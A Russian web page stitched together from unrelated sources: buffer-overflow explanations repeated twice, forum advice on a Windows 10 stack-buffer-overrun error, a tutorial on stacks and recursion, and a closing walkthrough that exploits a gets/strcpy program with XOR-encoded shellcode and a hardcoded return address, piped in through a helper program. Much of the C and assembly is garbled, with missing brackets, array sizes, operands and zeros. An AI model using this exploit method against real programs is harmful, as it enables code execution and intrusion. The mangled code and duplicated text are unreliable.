Переполнение буфера

Краткое техническое изложение Править

Описание Править

(NEWDATA)(DATA)(DATA)(...)

Записывая данные в буфер, можно осуществить запись за его границами и изменить находящиеся там данные. Когда программа вызывает подпрограмму, она помещает адрес возврата в стек, так что подпрограмма знает, куда возвращать управление после того, как она завершится:

(ADDR)(DATA)(DATA)(...)

Когда выделятся динамический буфер, стек растёт влево на размер буфера. Так, если функция начинается с объявления , результатом будет:

(.a........)(ADDR)(DATA)(DATA)(...)

В конце подпрограммы память, занятая буфером, освобождается, и вызывается операция . Она извлекает адрес возврата из стека и выполняет переход по этому адресу, возвращая управление туда, откуда была вызвана подпрограмма.

Однако пользователь может подставить в качестве адреса возврата и некий правильный адрес. Это вызовет переход управления в любую точку программы по его выбору. В результате потенциально может быть выполнен любой произвольный код, который этот пользователь поместил в данную область памяти, с теми привилегиями, с которыми выполняется текущая программа.

Пример Править

 /* overflow.c - демонстрирует процесс переполнения буфера */
 
 #include <stdio.h>
 #include <string.h>
 
 int main(int argc, char *argv)
 {
   char buffer10;
   if (argc < 2)
   {
     fprintf(stderr, "ИСПОЛЬЗОВАНИЕ: %s строка\n", argv);
     return 1;
   }
   strcpy(buffer, argv1);
   return ;
 }

Программу можно опробовать с несколькими разными строками. Строки размером в 9 или меньше символов не будут вызывать переполнение буфера. Строки в 10 и более символов будут вызывать переполнение, хотя это может и не приводить к ошибке сегментации.

Эта программа может быть переписана следующим образом, с использованием функции для предотвращения переполнения. Однако, следует учитывать, что простое отбрасывание лишних данных, как в этом примере, также может приводить к нежелательным последствиям, в том числе, при определённых условиях, к повышению привилегий. Как правило, требуется более тщательная обработка таких ситуаций.

 /* better.c - демонстрирует, как исправить ошибку */
 
 #include <stdio.h>
 #include <string.h>
 #define BUFFER_SIZE 10
 
 int main(int argc, char *argv)
 {
   char bufferBUFFER_SIZE;
   if (argc < 2)
   {
     fprintf(stderr, "ИСПОЛЬЗОВАНИЕ: %s строка\n", argv);
     return 1;
   }
   strncpy(buffer, argv1, BUFFER_SIZE - 1);
   bufferBUFFER_SIZE - 1 = '\0';
   return ;
 }

Кроме этого другие посетители написали Ещё 1 ответ

Вылезает следующая ошибка при запуске вин 10. LogonUI.exe — Системная ошибка.Обнаружено переполнение стекового буфера в данном приложении. Это переполнение может позволить злоумышленнику получить управление над данным приложении. В БИОС также не могу выйти(Windows 10Компьютерная грамотностьНоутбукиСистемные ошибки0ОтветитьПодписатьсяПожаловатьсяЛучший ответТЫЖПРОГРАММИСТКлассический Тыжпрограммистyoutube.com/AllgpsSuНужно попробовать восстановить WindowsНачните с зажимания CTRL+ALT+DEL либо используйте любую возможность добраться до кнопки перезагрузки. Затем зажимайте Shift и держа его жмите на перезагрузку, ждите пока не появится Синее окно с вариантами Загрузки и вариантами Восстановления. Пробуйте каждый вариант по очереди, начните с Восстановления если что то мешает запуску (формулировку точную не помню).Также воспользуйтесь live cd и попробуйте прогнать компьютер антивирусной утилитой Dк Web Cure it, она бесплатная https://free.drweb.ru/cureit/Так же восстановление на 10ке можно запустить, если во время включения 3 раза выключить насильно ноутбук, при загрузке Windows, это вредно для жесткого диска и операционнки, но иногда единственный вариант.Но мой совет, если есть сомнения в дальнейшей работе Windows, подумать о его переустановке.

Попробуйте войти через безопасный режим, может повезет и вы от туда сможете выяснить суть ошибки полностью.  Если вы вошли в безопасный режим, то удалите видеодрайвер, ведь ошибка возможна из-за некорректно работающего графического драйвера, кроме того есть вероятность воздействия проникнувшего вируса, поэтому в безопасном режиме запустите сканирующую утилиту dr web cureit. Удачи вам.

Большие переменные в стеке

Третья большая причина переполнения стека — одноразовое выделение огромного количества памяти крупными локальными переменными. Многие авторы рекомендуют выделять память, превышающую несколько килобайт, в «куче», а не на стеке.

Пример на Си:

int foo() {
     double x1000000];
}

Массив занимает 8 мегабайт памяти; если в стеке нет такого количества памяти, случится переполнение.

Всё, что уменьшает эффективный размер стека, увеличивает риск переполнения. Например, потоки обычно берут стека меньше, чем основная программа — поэтому программа может работать в однопоточном режиме и отказывать в многопоточном. Работающие в режиме ядра подпрограммы часто пользуются чужим стеком, поэтому при программировании в режиме ядра стараются не применять рекурсию и большие локальные переменные.

Что делать, если обнаружена уязвимость в данном приложении

Первое, что нужно сделать в том случае, когда ошибка проявилась в конкретной программе, это попробовать её переустановить, загрузив инсталлятор из проверенного источника, лучше официального. Перед инсталляцией софта следует убедиться в его безопасности, просканировав антивирусом, особенно внимательно нужно устанавливать ПО при пакетной установке, когда в довесок к скачиваемому продукту идут и дополнительные элементы, часто вредоносные или просто ненужные. Переустановка софта и перезагрузка компьютера избавляют от ошибки, если она была случайной.

Рассмотрим, несколько способов, как исправить ошибку, если произошло переполнение стекового буфера Windows 10.

Использование антивирусного ПО

В тексте ошибки переполнения буфера говорится о потенциальной угрозе безопасности, и, несмотря на достаточно преклонный возраст и известность бага, он всё ещё актуален и нередко становится средством взлома систем. Причём сбою поддаются программы различных типов, а спровоцировать его можно специально задействованным вредоносным софтом.

Рекомендуется просканировать систему на вирусы, можно в безопасном режиме, если ОС не загружается, и выполнить проверку и устранение угроз посредством встроенного Защитника Windows.

Как очистить компьютер от вирусов при появлении ошибки «Стековый буфер переполнен»:

  • Открываем Защитник Windows через поисковую строку меню «Пуск» или в области уведомлений на панели задач;
  • Выбираем «Защита от вирусов и угроз» и переходим к параметрам сканирования;
  • Отмечаем флажком «Автономное сканирование Защитника Windows» и жмём соответствующую кнопку для начала проверки.

Чистая загрузка ОС Windows

Если переустановка софта и перезагрузка не помогли, и ошибка переполнения стекового буфера не исчезла, стоит попробовать выполнить чистую загрузку системы. Возможно, причины проблемы не относятся к данному приложению, ведь кроме работающих программ в Windows запущен ряд прочих процессов, которые и могут провоцировать баг. Для выполнения загрузки ОС в чистом виде нужно войти под учётной записью администратора компьютера, некоторые функции и приложения при этом будут недоступны, поскольку в данном режиме запускаются только необходимые системе файлы.

Для чистой загрузки Windows выполняем следующие действия:

  1. Открываем консоль «Выполнить» (Win+R), вводим в поле команду msconfig, жмём «Ок» или клавишу Enter.
  2. В окне «Конфигурация системы» на вкладке «Общие» снимаем отметку с пункта «Загружать элементы автозагрузки». Затем на вкладке «Службы» отмечаем пункт «Не отображать службы Майкрософт» и жмём кнопку «Отключить все».
  3. Идём на вкладку «Автозагрузка» и жмём ссылку «Открыть диспетчер задач» (для Windows 10), в открывшемся окне Диспетчера задач поочерёдно отключаем каждую программу в списке.
  4. Возвращаемся к окну конфигурации и жмём «Ок», после чего перезагружаемся и проверяем, исчезла ли ошибка.

Для того чтобы выявить программу, ставшую причиной проблемы, нужно включать софт по одному в автозагрузке и службах, после чего выполнять перезагрузку.

Специализированный софт

В сети есть немало лечащих утилит (Dr.Web CureIt, Kaspersky и др.), способных избавить компьютер от вирусов. Портативные программы не будут конфликтовать с уже установленным антивирусом и эффективно выполнят задачу сканирования и удаления вредоносного ПО. Есть также антивирусный софт, способный решать проблему на низком уровне, если вирусы не дают системе запуститься. Используя утилиты с обновлённой вирусной базой, можно исправить, в том числе ошибку переполнения стекового буфера.

Восстановление Windows

Ещё одна мера, позволяющая избавится от системной ошибки, предполагает выполнение восстановления системы. Для использования функции потребуется наличие заранее созданного накопителя восстановления Windows, в качестве которого можно использовать диск или флешку. Выполняем следующие действия:

  • отключаем от компьютера лишние устройства, не требуемые для работы;
  • вставляем загрузочный накопитель и загружаемся с него, предварительно выставив приоритет загрузки в BIOS;
  • выбираем «Восстановление системы» – «Диагностика» – «Дополнительные параметры» – «Восстановление при загрузке», далее выбираем ОС, которую требуется восстановить, и ждём окончания процесса, перезагружаемся.

Крайней мерой, когда более простые и гуманные способы решения не помогли исправить ошибку, является переустановка Windows.

Краткое техническое изложение[править]

Описаниеправить

Рассмотрим более подробно случай переполнения буфера, расположенного в области стека. Это удобнее всего сделать с помощью примера программы на языке Си или C++. Пример ориентирован на архитектуру x86, но работает и на многих других.

Когда динамический буфер, представляющий собой автоматический массив, выделяется в функции, он создаётся на стеке во время вызова этой функции. В архитектуре x86 стек растёт от бо́льших адресов к меньшим (или справа налево, в приведённых ниже диаграммах), то есть новые данные помещаются перед теми, которые уже находятся в стеке. Здесь, представляет существующий стек, и — это некоторое новое значение, которое ЦП поместил в стек:

(NEWDATA)(DATA)(DATA)(…)

Записывая данные в буфер, можно осуществить запись за его границами и изменить находящиеся там данные. Когда программа вызывает подпрограмму, она помещает адрес возврата в стек, так что подпрограмма знает, куда возвращать управление после того, как она завершится:

(ADDR)(DATA)(DATA)(…)

Когда выделятся динамический буфер, стек растёт влево на размер буфера. Так, если функция начинается с объявления , результатом будет:

(.a………)(ADDR)(DATA)(DATA)(…)

В конце подпрограммы память, занятая буфером, освобождается, и вызывается операция . Она извлекает адрес возврата из стека и выполняет переход по этому адресу, возвращая управление туда, откуда была вызвана подпрограмма.

Предположим, что 10-байтный буфер предназначен для того, чтобы содержать данные, предоставляемые пользователем (например — пароль). Если программа не проверяет количество символов, которые были введены пользователем, и записывает 14 байт в буфер, эти лишние данные «лягут» поверх адреса возврата, перезаписывая его новыми данными. Таким образом, это изменит место, в которое будет передано управление, когда завершится подпрограмма, и с которого программа продолжит исполнение после этого.

Если пользователь не злонамерен и вводит более, чем 10 символов, добавочные данные будут скорее всего случайными. В таком случае вполне возможно, что адрес возврата будет указывать на область памяти, которая неподконтрольна текущей исполняемой программе. Это вызовет ошибку сегментации в UNIX-системах или аналогичную ошибку в других операционных системах.

Однако пользователь может подставить в качестве адреса возврата и некий правильный адрес. Это вызовет переход управления в любую точку программы по его выбору. В результате потенциально может быть выполнен любой произвольный код, который этот пользователь поместил в данную область памяти, с теми привилегиями, с которыми выполняется текущая программа.

Примерправить

Рассмотрим следующую программу на языке Си. Скомпилировав эту программу, мы сможем использовать её для генерации ошибок переполнения буфера. Первый аргумент командной строки программа принимает как текст, которым заполняется буфер.

 /* overflow.c - демонстрирует процесс переполнения буфера */

 #include <stdio.h>
 #include <string.h>
 
 int main(int argc, char *argv[])
 {
   char buffer10];
   if (argc < 2)
   {
     fprintf(stderr, "ИСПОЛЬЗОВАНИЕ: %s строка\n", argv]);
     return 1;
   }
   strcpy(buffer, argv1]);
   return ;
 }

Программу можно опробовать с несколькими разными строками. Строки размером в 9 или меньше символов не будут вызывать переполнение буфера. Строки в 10 и более символов будут вызывать переполнение, хотя это может и не приводить к ошибке сегментации.

Эта программа может быть переписана следующим образом, с использованием функции для предотвращения переполнения. Однако, следует учитывать, что простое отбрасывание лишних данных, как в этом примере, также может приводить к нежелательным последствиям, в том числе, при определённых условиях, к повышению привилегий. Как правило, требуется более тщательная обработка таких ситуаций.

 /* better.c - демонстрирует, как исправить ошибку */
 
 #include <stdio.h>
 #include <string.h>
 #define BUFFER_SIZE 10
 
 int main(int argc, char *argv[])
 {
   char bufferBUFFER_SIZE];
   if (argc < 2)
   {
     fprintf(stderr, "ИСПОЛЬЗОВАНИЕ: %s строка\n", argv]);
     return 1;
   }
   strncpy(buffer, argv1], BUFFER_SIZE - 1);
   bufferBUFFER_SIZE - 1 = '\0';
   return ;
 }

Стек как структура данных

Структура данных в программировании — это механизм организации данных для их эффективного использования. Вы уже видели несколько типов структур данных, например, массивы или структуры. Существует множество других структур данных, которые используются в программировании. Некоторые из них реализованы в Стандартной библиотеке C++, и стек как раз является одним из таковых.

Например, рассмотрим стопку (аналогия стеку) тарелок на столе. Поскольку каждая тарелка тяжелая, а они еще и сложены друг на друге, то вы можете сделать лишь что-то одно из следующего:

   Посмотреть на поверхность первой тарелки (которая находится на самом верху).

   Взять верхнюю тарелку из стопки (обнажая таким образом следующую тарелку, которая находится под верхней, если она вообще существует).

   Положить новую тарелку поверх стопки (спрятав под ней самую верхнюю тарелку, если она вообще была).

В компьютерном программировании стек представляет собой контейнер (как структуру данных), который содержит несколько переменных (подобно массиву). Однако, в то время как массив позволяет получить доступ и изменять элементы в любом порядке (так называемый «произвольный доступ»), стек более ограничен.

В стеке вы можете:

   Посмотреть на верхний элемент стека (используя функцию или ).

   Вытянуть верхний элемент стека (используя функцию ).

   Добавить новый элемент поверх стека (используя функцию ).

Стек — это структура данных типа LIFO (англ. «Last In, First Out» = «Последним пришел, первым ушел»). Последний элемент, который находится на вершине стека, первым и уйдет из него. Если положить новую тарелку поверх других тарелок, то именно эту тарелку вы первой и возьмете. По мере того, как элементы помещаются в стек — стек растет, по мере того, как элементы удаляются из стека — стек уменьшается.

Например, рассмотрим короткую последовательность, показывающую, как работает добавление и удаление в стеке:

Стопка тарелок довольно-таки хорошая аналогия работы стека, но есть лучшая аналогия. Например, рассмотрим несколько почтовых ящиков, которые расположены друг на друге. Каждый почтовый ящик может содержать только один элемент, и все почтовые ящики изначально пустые. Кроме того, каждый почтовый ящик прибивается гвоздем к почтовому ящику снизу, поэтому количество почтовых ящиков не может быть изменено. Если мы не можем изменить количество почтовых ящиков, то как мы получим поведение, подобное стеку?

Во-первых, мы используем наклейку для обозначения того, где находится самый нижний пустой почтовый ящик. Вначале это будет первый почтовый ящик, который находится на полу. Когда мы добавим элемент в наш стек почтовых ящиков, то мы поместим этот элемент в почтовый ящик, на котором будет наклейка (т.е. в самый первый пустой почтовый ящик на полу), а затем переместим наклейку на один почтовый ящик выше. Когда мы вытаскиваем элемент из стека, то мы перемещаем наклейку на один почтовый ящик ниже и удаляем элемент из почтового ящика. Всё, что находится ниже наклейки — находится в стеке. Всё, что находится в ящике с наклейкой и выше — находится вне стека.

Стек вызовов

В про­грам­ми­ро­ва­нии есть два вида сте­ка — стек вызо­вов и стек данных. 

Когда в про­грам­ме есть под­про­грам­мы — про­це­ду­ры и функ­ции, — то ком­пью­те­ру нуж­но пом­нить, где он пре­рвал­ся в основ­ном коде, что­бы выпол­нить под­про­грам­му. После выпол­не­ния он дол­жен вер­нуть­ся обрат­но и про­дол­жить выпол­нять основ­ной код. При этом если под­про­грам­ма воз­вра­ща­ет какие-то дан­ные, то их тоже нуж­но запом­нить и пере­дать в основ­ной код.

Что­бы это реа­ли­зо­вать, ком­пью­тер исполь­зу­ет стек вызо­вов — спе­ци­аль­ную область памя­ти, где хра­нит дан­ные о точ­ках пере­хо­да меж­ду фраг­мен­та­ми кода. 

Допу­стим, у нас есть про­грам­ма, внут­ри кото­рой есть три функ­ции, при­чём одна из них внут­ри вызы­ва­ет дру­гую. Нари­су­ем, что­бы было понятнее:

Про­грам­ма запус­ка­ет­ся, потом идёт вызов синей функ­ции. Она выпол­ня­ет­ся, и про­грам­ма про­дол­жа­ет с того места, где оста­но­ви­лась. Потом выпол­ня­ет­ся зелё­ная функ­ция, кото­рая вызы­ва­ет крас­ную. Пока крас­ная не закон­чит рабо­ту, все осталь­ные ждут. Как толь­ко крас­ная закон­чи­лась — про­дол­жа­ет­ся зелё­ная, а после её окон­ча­ния про­грам­ма про­дол­жа­ет свою рабо­ту с того же места.

А вот как стек помо­га­ет это реа­ли­зо­вать на практике:

Про­грам­ма дошла до синей функ­ции, сохра­ни­ла точ­ку, куда ей вер­нуть­ся после того, как закон­чит­ся функ­ция, и если функ­ция вер­нёт какие-то дан­ные, то про­грам­ма тоже их полу­чит. Когда синяя функ­ция закон­чит­ся и про­грам­ма полу­чит верх­ний эле­мент сте­ка, он авто­ма­ти­че­ски исчез­нет. Стек сно­ва пустой.

С зелё­ной функ­ци­ей всё то же самое — в стек зано­сит­ся точ­ка воз­вра­та, и про­грам­ма начи­на­ет выпол­нять зелё­ную функ­цию. Но внут­ри неё мы вызы­ва­ем крас­ную, и вот что происходит:

При вызо­ве крас­ной функ­ции в стек поме­ща­ет­ся новый эле­мент с инфор­ма­ци­ей о дан­ных, точ­ке воз­вра­та и ука­за­ни­ем на сле­ду­ю­щий эле­мент. Это зна­чит, что когда крас­ная функ­ция закон­чит рабо­ту, то ком­пью­тер возь­мёт из сте­ка адрес воз­вра­та и вер­нёт управ­ле­ние сно­ва зелё­ной функ­ции, а крас­ный эле­мент исчез­нет. Когда и зелё­ная закон­чит рабо­ту, то ком­пью­тер из сте­ка возь­мёт новый адрес воз­вра­та и про­дол­жит рабо­ту со ста­ро­го места.

Бесконечная рекурсия

Простейший пример бесконечной рекурсии на Си:

int foo() {
     return foo();
}

Функция будет вызывать сама себя, расходуя пространство в стеке, пока стек не переполнится и не случится ошибка сегментации.

Это рафинированный пример, и в реальном коде бесконечная рекурсия может появиться по двум причинам:

Не сработало условие выхода из рекурсии

Частая причина бесконечной рекурсии — когда при каких-то крайних непроверенных обстоятельствах условие окончания рекурсии вообще не сработает.

int factorial (int n)
{
  if (n == )
    return 1;
  return n * factorial(n - 1);
}

Программа уйдёт в бесконечную рекурсию при отрицательном n.

Многие языки делают оптимизацию, именуемую «хвостовая рекурсия». Рекурсия, находящаяся в конце функции, превращается в цикл и не расходует стека. Если такая оптимизация сработает, вместо переполнения стека будет зацикливание.

Программист написал рекурсию, не осознавая того

Программист может написать рекурсию и ненамеренно — например, когда одну и ту же функциональность выполняют несколько перегруженных функций, и одна вызывает другую.

int Obj::getData(int index, bool& isChangeable)
{
  isChangeable = true;
  return getData(index);
}

int Obj::getData(int index)
{
  bool noMatter;
  return getData(index, noMatter);
}

В интерфейсных фреймворках наподобие Qt и VCL рекурсия может случиться, если в обработчике, например, изменения поля программист сам же это поле и изменит.

Переполнение стека

Стек имеет ограниченный размер и, следовательно, может содержать только ограниченный объем информации. В операционной системе Windows размер стека по умолчанию составляет 1МБ. На некоторых Unix-системах этот размер может достигать и 8МБ. Если программа пытается поместить в стек слишком много информации, то это приведет к переполнению стека. Переполнение стека (англ. «stack overflow») происходит, когда запрашиваемой памяти нет в наличии (вся память уже занята).

Переполнение стека является результатом добавления слишком большого количества переменных в стек и/или создания слишком большого количества вложенных вызовов функций (например, когда функция A() вызывает функцию B(), которая вызывает функцию C(), а та, в свою очередь, вызывает функцию D() и т.д.). Переполнение стека обычно приводит к сбою в программе, например:

int main()
{
int stack;
return 0;
}

1
2
3
4
5

intmain()

{

intstack1000000000;

return;

}

Эта программа пытается добавить огромный массив в стек вызовов. Поскольку размера стека недостаточно для обработки такого массива, то операция его добавления переходит и на другие части памяти, которые программа использовать не может. Следовательно, получаем сбой.

Вот еще одна программа, которая вызовет переполнение стека, но уже по другой причине:

void boo()
{
boo();
}

int main()
{
boo();

return 0;
}

1
2
3
4
5
6
7
8
9
10
11

voidboo()

{

boo();

}

intmain()

{

boo();

return;

}

В программе, приведенной выше, фрейм стека добавляется в стек каждый раз, когда вызывается функция boo(). Поскольку функция boo() вызывает сама себя бесконечное количество раз, то в конечном итоге в стеке не хватит памяти, что приведет к переполнению стека.

Стек имеет свои преимущества и недостатки:

   Выделение памяти в стеке происходит сравнительно быстро.

   Память, выделенная в стеке, остается в области видимости до тех пор, пока находится в стеке. Она уничтожается при выходе из стека.

   Вся память, выделенная в стеке, обрабатывается во время компиляции, следовательно, доступ к этой памяти осуществляется напрямую через переменные.

   Поскольку размер стека является относительно небольшим, то не рекомендуется делать что-либо, что съест много памяти стека (например, передача по значению или создание локальных переменных больших массивов или других затратных структур данных).

И ещё…

Напоследок рассмотрим пример «поближе к жизни». Следующая программа иллюстрирует наверное самую типичную форму уязвимости переполнения буфера:

#include <stdio.h>
#include <string.h>
#include <windows.h>

void show_message(char* msg)
{
    char buffer;
    strcpy(buffer, "Message: ");
    strcat(buffer, msg);
    MessageBox(0, buffer, "Message", MB_ICONINFORMATION);
}

int main()
{
    char text;
    printf("Please, enter text: \n");
    gets(text);
    show_message(text);
    return 0;
}

По сути эта программа почти не отличается от предыдущей, но в этот раз мы работаем не просто с массивами, а со строками. Переполнение происходит если передать функции show_message слишком длинную строку. Строку мы вводим с консоли и исходный код данной программы нас вообще не интересует; для дальнейшего понадобится лишь EXE файл (назовём его опять TEST.EXE). Такая ситуация примерно соответствует «реальной жизни».

Итак, попробуем устроить «атаку на переполнение буфера» в программе TEST.EXE. Для начала найдём место во вводимой строке, куда мы поместим наш адрес возврата. Для этого запустим test.exe и введём следующее:

111111111122222222223333333333444444444455555555556666666666abcdefghijklmnopqrstuvwxyz

В появившемся сообщении об ошибке смотрим, чему равен EIP. Он равен 0x63626136, следовательно адрес возврата должен находиться на месте символов «6abc». Прямо за ним поместим код. Проблема только в том, что та строка, которую мы разработали для предыдущего случая не подходит, так как в ней есть символы 0. Придётся применить маленькую хитрость: закодировать фрагмент программы, содержащий байты 0, проделав, например, с каждым байтом операцию XOR 80h. В начале программы придётся дописать код, который бы раскодировал её. Примерно такой:

MOV EAX, (конечный адрес закодированного фрагмента + 1)
MOV ECX, (количество байт во фрагменте)
decode:
DEC EAX
XOR BYTE PTR , 80h
LOOP decode

Нужно не забыть заменить и адреса используемых в коде функций на правильные для этой программы. В этой программе адрес ExitProcess хранится в 0x40f0ec, а адрес MessageBoxA — в 0x40f1a0. В итоге получаем следующую строку:

"11111111112222222222333333333344444444445555555555666666666"
"\xb3\x94\xf7\xbf"          // aдрес возврата (адрес инструкции CALL ESP в KERNEL32.DLL)
                            // ----------- код ----------- --- адрес инструкции ---
"\x8b\xec"                  // MOV EBP, ESP                         // EBP+4
                            // --- раскодируем часть программы ---
"\x8b\xc5"                  // MOV EAX, EBP                         // EBP+6
"\x83\xc0\x35"              // ADD EAX, 35h ; EAX = конечный адрес  // EBP+8
"\x33\xc9"                  // XOR ECX, ECX ; ECX = 0               // EBP+b
"\xb1\x10"                  // MOV CL, 10h  ; ECX = 10h             // EBP+d
"\x48"                      // decode: DEC EAX                      // EBP+f
"\x80\x30\x80"              // XOR BYTE PTR , 80h              // EBP+10
"\xe2\xfa"                  // LOOP decode                          // EBP+13
                            // --- Вызываем MessageBoxA ---
"\x6a\x30"                  // PUSH 30h                             // EBP+15
"\x8d\x45\x2c"              // LEA EAX,                    // EBP+17
"\x50"                      // PUSH EAX                             // EBP+1a
"\x8d\x45\x35"              // LEA EAX,                    // EBP+1b
"\x50"                      // PUSH EAX                             // EBP+1e
"\x51"                      // PUSH ECX     ; push 0                // EBP+1f
                            // -- начиная с EBP+25
                            //    идёт закодированный фрагмент --
"\xff\x15\xa0\xf1\x40\x80"  // CALL             // EBP+20

"\x7f\x95\x6c\x70\xc0\x80"  // CALL           // EBP+26
        
"\xd1\xf5\xe5\xf3\xf4\xe9\xef\xee\x80"
                            //    Cтрокa "Question\0" (закодирована)// EBP+2c
                            // -- конец закодированного фрагмента
                            //    (EBP+34) --
"To be, or not to be...\0";                                         // EBP+35

Для того, чтобы не вводить это всё вручную (что скорее всего не удастся, т. к. здесь полно различных спец. символов) можно написать маленькую програмку, которая выводит эту строку на консоль:

#include <stdio.h>

int main()
{
    printf("11111111112222222222333333333344444444445555555555666666666"
           "\xb3\x94\xf7\xbf\x8b\xec\x8b\xc5\x83\xc0\x35\x33\xc9\xb1\x10\x48"
           "\x80\x30\x80\xe2\xfa\x6a\x30\x8d\x45\x2c\x50\x8d\x45\x35\x50\x51"
           "\xff\x15\xa0\xf1\x40\x80\x7f\x95\x6c\x70\xc0\x80"
           "\xd1\xf5\xe5\xf3\xf4\xe9\xef\xee\x80To be, or not to be...\0");
    return 0;
}

Cкомпилируем её как T.EXE и направим её вывод на вход TEST.EXE:

> T.EXE | TEST.EXE

Работает!

Безопасность

Программа, которая использует уязвимость для разрушения защиты другой программы, называется эксплойтом. Наибольшую опасность представляют эксплойты, предназначеные для получения доступа к уровню суперпользователя или, другими словами, повышения привилегий. Эксплойт переполнения буфера достигает этого путём передачи программе специально изготовленных входных данных. Такие данные переполняют выделенный буфер и изменяют данные, которые следуют за этим буфером в памяти.

Представим гипотетическую программу системного администрирования, которая исполняется с привилегиями суперпользователя — к примеру, изменение паролей пользователей. Если программа не проверяет длину введённого нового пароля, то любые данные, длина которых превышает размер выделенного для их хранения буфера, будут просто записаны поверх того, что находилось после буфера. Злоумышленник может вставить в эту область памяти инструкции на машинном языке, например, шелл-код, выполняющие любые действия с привилегиями суперпользователя — добавление и удаление учётных записей пользователей, изменение паролей, изменение или удаление файлов и т. д. Если исполнение в этой области памяти разрешено и в дальнейшем программа передаст в неё управление, система исполнит находящийся там машинный код злоумышленника.

Правильно написанные программы должны проверять длину входных данных, чтобы убедиться, что они не больше, чем выделенный буфер данных. Однако программисты часто забывают об этом. В случае если буфер расположен в стеке и стек «растёт вниз» (например в архитектуре x86), то с помощью переполнения буфера можно изменить адрес возврата выполняемой функции, так как адрес возврата расположен после буфера, выделенного выполняемой функцией. Тем самым есть возможность выполнить произвольный участок машинного кода в адресном пространстве процесса. Использовать переполнение буфера для искажения адреса возврата возможно даже если стек «растёт вверх» (в этом случае адрес возврата обычно находятся перед буфером).

Даже опытным программистам бывает трудно определить, насколько то или иное переполнение буфера может быть уязвимостью. Это требует глубоких знаний об архитектуре компьютера и о целевой программе. Было показано, что даже настолько малые переполнения, как запись одного байта за пределами буфера, могут представлять собой уязвимости.

Переполнения буфера широко распространены в программах, написанных на относительно низкоуровневых языках программирования, таких как язык ассемблера, Си и C++, которые требуют от программиста самостоятельного управления размером выделяемой памяти. Устранение ошибок переполнения буфера до сих пор является слабо автоматизированным процессом. Системы формальной верификации программ не очень эффективны при современных языках программирования.

Многие языки программирования, например, Perl, Python, Java и Ada, управляют выделением памяти автоматически, что делает ошибки, связанные с переполнением буфера, маловероятными или невозможными.Perl для избежания переполнений буфера обеспечивает автоматическое изменение размера массивов. Однако системы времени выполнения и библиотеки для таких языков всё равно могут быть подвержены переполнениям буфера, вследствие возможных внутренних ошибок в реализации этих систем проверки. В Windows доступны некоторые программные и аппаратно-программные решения, которые предотвращают выполнение кода за пределами переполненного буфера, если такое переполнение было осуществлено. Среди этих решений — DEP в Windows XP SP2,OSsurance и Anti-Execute.

В гарвардской архитектуре исполняемый код хранится отдельно от данных, что делает подобные атаки практически невозможными.

Добавить комментарий

Ваш адрес email не будет опубликован. Обязательные поля помечены *

Adblock
detector